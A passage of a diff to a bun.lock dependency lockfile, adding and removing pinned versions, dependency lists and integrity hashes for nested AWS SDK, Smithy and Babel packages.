"sha512-BoGO6IIWrLyLxQG6txJw6RT2urmbtlwfggapNCrNPyYjlXpzTSJhBYjndg7TpDATFd0SXL0zm8y/tXsUXNkdYQ=="],
-
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers": ["@aws-sdk/token-providers@3.758.0", "", { "dependencies": { "@aws-sdk/nested-clients": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-ckptN1tNrIfQUaGWm/ayW1ddG+imbKN7HHhjFdS4VfItsP0QQOB0+Ov+tpgb4MoNR4JaUghMIVStjIeHN2ks1w=="],
-
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.758.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/middleware-host-header": "3.734.0", "@aws-sdk/middleware-logger": "3.734.0", "@aws-sdk/middleware-recursion-detection": "3.734.0", "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/region-config-resolver": "3.734.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@aws-sdk/util-user-agent-browser": "3.734.0", "@aws-sdk/util-user-agent-node": "3.758.0", "@smithy/config-resolver": "^4.0.1", "@smithy/core": "^3.1.5", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/hash-node": "^4.0.1", "@smithy/invalid-dependency": "^4.0.1", "@smithy/middleware-content-length": "^4.0.1", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-retry": "^4.0.7", "@smithy/middleware-serde": "^4.0.2", "@smithy/middleware-stack": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-base64": "^4.0.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-body-length-node": "^4.0.0", "@smithy/util-defaults-mode-browser": "^4.0.7", "@smithy/util-defaults-mode-node": "^4.0.7", "@smithy/util-endpoints": "^3.0.1", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-YZ5s7PSvyF3Mt2h1EQulCG93uybprNGbBkPmVuy/HMMfbFTt4iL3SbKjxqvOZelm86epFfj7pvK7FliI2WOEcg=="],
-
"@aws-sdk/credential-providers/@aws-sdk/credential-provider-node/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@3.1.4", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-qMxS4hBGB8FY2GQqshcRUy1K6k8aBWP5vwm8qKkCT3A9K2dawUwOIJfqh9Yste/Bl0J2lzosVyrXDj68kLcHXQ=="],
- "@aws-sdk/middleware-websocket/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.6", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-olIfZ230B64TvPD6b0tPvrEp2eB0FkyL3KvDlqF4RVmIc/kn3orzXnV6DTQdOOW5UU+M5zKY3/BU47X420/oPw=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3": ["@aws-sdk/middleware-sdk-s3@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-arn-parser": "3.723.0", "@smithy/core": "^3.1.5", "@smithy/node-config-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-config-provider": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-6mJ2zyyHPYSV6bAcaFpsdoXZJeQlR1QgBnZZ6juY/+dcYiuyWCdyLUbGzSZSE7GTfx6i+9+QWFeoIMlWKgU63A=="],
- "@aws-sdk/middleware-websocket/@smithy/fetch-http-handler/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
- "@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core": ["@smithy/core@3.1.5", "", { "dependencies": { "@smithy/middleware-serde": "^4.0.2", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-HLclGWPkCsekQgsyzxLhCQLa8THWXtB5PxyYN+2O6nkyLt550KQKTlbV2D1/j5dNIQapAZM1+qFnpBFxZQkgCA=="],
- "@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/util-middleware": ["@smithy/util-middleware@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qrvXUkxBSAFomM3/OEMuDVwjh4wtqK8D2uDZPShzIqOylPst6gor2Cdp6+XrH4dyksAWq/bE2aSDYBTTnj0Rxg=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.0.2", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Sdr5lOagCn5tt+zKsaW+U2/iwr6bI9p08wOkCp6/eL6iMbgdtc2R5Ety66rf87PeohR0ExI84Txz9GYv5ou3iQ=="],
- "@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/node-config-provider": ["@smithy/node-config-provider@4.0.1", "", { "dependencies": { "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-8mRTjvCtVET8+rxvmzRNRR0hH2JjV0DFOmwXPrISmTIJEfnCBugpYYGAsCj8t41qd+RB5gbheSQ/6aKZCQvFLQ=="],
- "@aws-sdk/nested-clients/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.930.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-YIfkD17GocxdmlUVc3ia52QhcWuRIUJonbF8A2CYfcWNV3HzvAqpcPeC0bYUhkK+8e8YO1ARnLKZQE0TlwzorA=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-hC8F6qTBbuHRI/uqDgqqi6J0R4GtEZcgrZPhFQnMhfJs3MnUTGSnR1NSJCJs5VWlMydu0kJz15M640fJlRsIOw=="],
- "@aws-sdk/nested-clients/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.0.1", "", { "dependencies": { "@smithy/querystring-parser": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-gPXcIEUtw7VlK8f/QcruNXm7q+T5hhvGu9tl63LsJPZ27exB6dtNwvh2HIi0v7JcXJ5emBxB+CJxwaLEdJfA+g=="],
- "@aws-sdk/nested-clients/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.6", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-P1TXDHuQMadTMTOBv4oElZMURU4uyEhxhHfn+qOc2iofW9Rd4sZtBGx58Lzk112rIGVEYZT8eUMK4NftpewpRA=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
- "@aws-sdk/nested-clients/@smithy/config-resolver/@smithy/util-config-provider": ["@smithy/util-config-provider@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-YEjpl6XJ36FTKmD+kRJJWYvrHeUvm5ykaUS5xK+6oXffQPHeEM4/nXlZPe+Wu0lsgRUcNZiliYNh/y7q9c2y6Q=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core": ["@smithy/core@3.1.5", "", { "dependencies": { "@smithy/middleware-serde": "^4.0.2", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-HLclGWPkCsekQgsyzxLhCQLa8THWXtB5PxyYN+2O6nkyLt550KQKTlbV2D1/j5dNIQapAZM1+qFnpBFxZQkgCA=="],
- "@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dHwDmrtR/ln8UTHpaIavRSzeIk5+YZTBtLnKwDW3G2t6nAupCiQUvNzNoHBpik63fwUaJPtlnMzXbQrNFWssIA=="],
- "@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream": ["@smithy/util-stream@4.1.2", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-hex-encoding": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-44PKEqQ303d3rlQuiDpcCcu//hV8sn+u2JBo84dWCE0rvgeiVl0IlLMagbU++o0jCWhYCsHaAt9wZuZqNe05Hw=="],
- "@aws-sdk/nested-clients/@smithy/middleware-endpoint/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="],
+ "@aws-sdk/util-format-url/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
- "@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0" } }, "sha512-Q73XBrzJlGTut2nf5RglSntHKgAG0+KiTJdO5QQblLfr4TdliGwIAha1iZIjwisc3rA5ulzqwwsYC6xrclxVQg=="],
-
- "@aws-sdk/nested-clients/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
-
- "@aws-sdk/nested-clients/@smithy/node-config-provider/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="],
-
- "@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="],
-
- "@aws-sdk/nested-clients/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-YmWxl32SQRw/kIRccSOxzS/Ib8/b5/f9ex0r5PR40jRJg8X1wgM3KrR2In+8zvOGVhRSXgvyQpw9yOSlmfmSnA=="],
-
- "@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
-
- "@aws-sdk/nested-clients/@smithy/util-defaults-mode-browser/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
-
- "@aws-sdk/nested-clients/@smithy/util-defaults-mode-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.6", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/property-provider": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-xBmawExyTzOjbhzkZwg+vVm/khg28kG+rj2sbGlULjFd1jI70sv/cbpaR0Ev4Yfd6CpDUDRMe64cTqR//wAOyA=="],
-
- "@aws-sdk/nested-clients/@smithy/util-defaults-mode-node/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
-
- "@aws-sdk/nested-clients/@smithy/util-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0" } }, "sha512-Q73XBrzJlGTut2nf5RglSntHKgAG0+KiTJdO5QQblLfr4TdliGwIAha1iZIjwisc3rA5ulzqwwsYC6xrclxVQg=="],
-
- "@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.930.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-YIfkD17GocxdmlUVc3ia52QhcWuRIUJonbF8A2CYfcWNV3HzvAqpcPeC0bYUhkK+8e8YO1ARnLKZQE0TlwzorA=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core": ["@smithy/core@3.19.0", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.7", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-stream": "^4.5.7", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-Y9oHXpBcXQgYHOcAEmxjkDilUbSTkgKjoHYed3WaYUH8jngq8lPWDBSpjHblJ9uOgBdy5mh3pzebrScDdYr29w=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.6", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-fYEyL59Qe82Ha1p97YQTMEQPJYmBS+ux76foqluaTVWoG9Px5J53w6NvXZNE3wP7lIicLDF7Vj1Em18XTX7fsA=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.6", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-P1TXDHuQMadTMTOBv4oElZMURU4uyEhxhHfn+qOc2iofW9Rd4sZtBGx58Lzk112rIGVEYZT8eUMK4NftpewpRA=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.10.1", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-endpoint": "^4.4.0", "@smithy/middleware-stack": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-stream": "^4.5.7", "tslib": "^2.6.2" } }, "sha512-1ovWdxzYprhq+mWqiGZlt3kF69LJthuQcfY9BIyHx9MywTFKzFapluku1QXoaBB43GCsLDxNqS+1v30ure69AA=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qrvXUkxBSAFomM3/OEMuDVwjh4wtqK8D2uDZPShzIqOylPst6gor2Cdp6+XrH4dyksAWq/bE2aSDYBTTnj0Rxg=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
-
- "@azure/core-xml/fast-xml-parser/strnum": ["strnum@2.0.5", "", {}, "sha512-YAT3K/sgpCUxhxNMrrdhtod3jckkpYwH6JAuwmUdXZsmzH1wUyzTMrrK2wYCEEqlKwrWDd35NeuUkbBy/1iK+Q=="],
+ "@babel/helper-compilation-targets/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
"@babel/helper-compilation-targets/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
"@babel/helper-compilation-targets/lru-cache/yallist": ["yallist@3.1.1", "", {}, "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="],
+ "@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
"@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="],
"@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="],
@@ -6695,13 +6851,17 @@
"@babel/plugin-transform-runtime/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="],
- "@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="],
